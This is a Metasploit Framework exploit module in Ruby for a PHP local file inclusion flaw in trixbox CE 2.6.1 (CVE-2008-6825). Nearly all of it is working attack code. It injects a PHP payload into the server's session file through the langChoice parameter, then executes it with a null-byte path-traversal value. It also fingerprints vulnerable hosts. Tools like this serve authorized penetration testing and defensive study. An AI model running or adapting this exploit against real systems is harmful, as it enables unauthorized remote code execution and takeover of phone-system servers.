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# $Id: trixbox_langchoice.rb 11516 2011-01-08 01:13:26Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# -*- coding: utf-8 -*-
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
PHPSESSID_REGEX = /(?:^|;?)PHPSESSID=(\w+)(?:;|$)/
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name'=> 'Trixbox langChoice PHP Local File Inclusion',
'Description' => %q{
This module injects php into the trixbox session file and then, in a second call, evaluates
that code by manipulating the langChoice parameter as described in OSVDB-50421.
},
'Author'=> ['chao-mu'],
'License' => BSD_LICENSE,
'Version' => '$Revision: 11516 $',
'References'=>
[
['OSVDB' => '50421'],
['CVE' => '2008-6825'],
['BID' => '30135'],
['URL' => 'http://www.exploit-db.com/exploits/6026/'],
['URL' => 'http://www.trixbox.org/']
],
'Payload' =>
{
# max header length for Apache (8190),
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
# minus 23 for good luck (and extra spacing)
'Space' => 8190 - 23,
'DisableNops' => true,
'Compat'=>
{
'ConnectionType' => 'find',
},
'BadChars'=> "'\"`"# quotes are escaped by PHP's magic_quotes_gpc in a default install
},
'Targets'=> [['trixbox CE 2.6.1', {}]],
'DefaultTarget'=> 0,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DisclosureDate' => 'Jul 09 2008'
))
register_options(
[
OptString.new('URI',[true, 'The uri that accepts the langChoice param', '/user/index.php']),
OptString.new('PATH', [true, 'The path where the php was stored', '../../../../../../../../../../tmp/sess_!SESSIONID!%00']),
], self.class)
end
def check
# We need to ensure that this can be reached via POST
uri = datastore['URI']
target_code = 200
print_status "Attempting to POST to #{uri}"
response = send_request_cgi({'uri' => uri, 'method' => 'POST'})
unless defined? response
print_error 'Server did not respond to HTTP POST request'
return Exploit::CheckCode::Safe
end
code = response.code
unless code == target_code
print_error "Expected HTTP code #{target_code}, but got #{code}."
return Exploit::CheckCode::Safe
end
print_status "We received the expected HTTP code #{target_code}"
# We will need the cookie PHPSESSID to continue
cookies = response.headers['Set-Cookie']
# Make sure cookies were set
if defined? cookies and cookies =~ PHPSESSID_REGEX
print_status "We were successfully sent a PHPSESSID of '#{$1}'"
else
print_error 'The server did not send us the cookie we were looking for'
return Exploit::CheckCode::Safe
end
# Okay, at this point we're just being silly and hackish.
unless response.body =~ /langChoice/
print_error 'The page does not appear to contain a langChoice field'
return Exploit::CheckCode::Safe
end
# XXX: Looking for a good way of determine if it is NOT trixbox
# unless response.body.match(/trixbox - User Mode/)
# print_status 'The target does not appear to be running trixbox'
# return Exploit::CheckCode::Safe
# end
# print_status 'The target appears to be running trixbox'
# If it has the target footer, we know its vulnerable
# however skining may mean the reverse is not true
# We've only tested on v2.6.1, so that is all we will guarantee
# Example footer: v2.6.1 ©2008 Fonality
# if response.body =~ /(v2\.(?:[0-5]\.\d|6\.[0-1]))\s{2}©200[0-8] Fonality/
if response.body =~ /(v2\.6\.1)\s{2}©2008 Fonality/
print_status "Trixbox #{$1} detected!"
return Exploit::CheckCode::Vulnerable
end
print_status 'The target may be skinned making detection too difficult'
if response.body =~ /trixbox - User Mode/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def exploit
# We will be be passing this our langChoice values
uri = datastore['URI']
# Prepare PHP file contents
encoded_php_file = Rex::Text.uri_encode("<?php #{payload.encoded} ?>")
# Deliver the payload
print_status('Uploading the payload to the remote server')
delivery_response = send_request_cgi({
'uri'=> uri,
'method' => 'POST',
'data' => "langChoice=#{encoded_php_file}%00"
})
# The call should return status code 200
if delivery_response.code != 200
raise RuntimeError, "Server returned unexpected HTTP code #{delivery_response.code}"
end
print_status "The server responded to POST with HTTP code #{delivery_response.code}"
# We will need the cookie PHPSESSID to continue
cookies = delivery_response.headers['Set-Cookie']
# Make sure cookies were set
if cookies.nil?
raise RuntimeError, 'The server did not set any cookies'
end
# Contents of PHPSESSID. About to be set.
session_id = nil
# Retrieve the session id from PHPSESSID
if cookies =~ PHPSESSID_REGEX
session_id = $1
else
raise RuntimeError, 'The cookie PHPSESSID was not set.'
end
print_status "We were assigned a session id (cookie PHPSESSID) of '#{session_id}'"
# Prepare the value that will execute our payload
detonation = datastore['PATH'].sub('!SESSIONID!', session_id)
print_status "We will use '#{detonation}' as the value of langChoice to detonate the payload"
# Request the detonation uri, detonating the payload
print_status 'Attempting to detonate. You will need to clean /tmp/ yourself.'
# Small timeout as we're just going to assume we succeeded.
send_request_cgi({
'uri' => uri,
'cookie' => cookies,
'method' => 'POST',
'data' => "langChoice=#{detonation}%00"
}, 0.01)
handler
end
end
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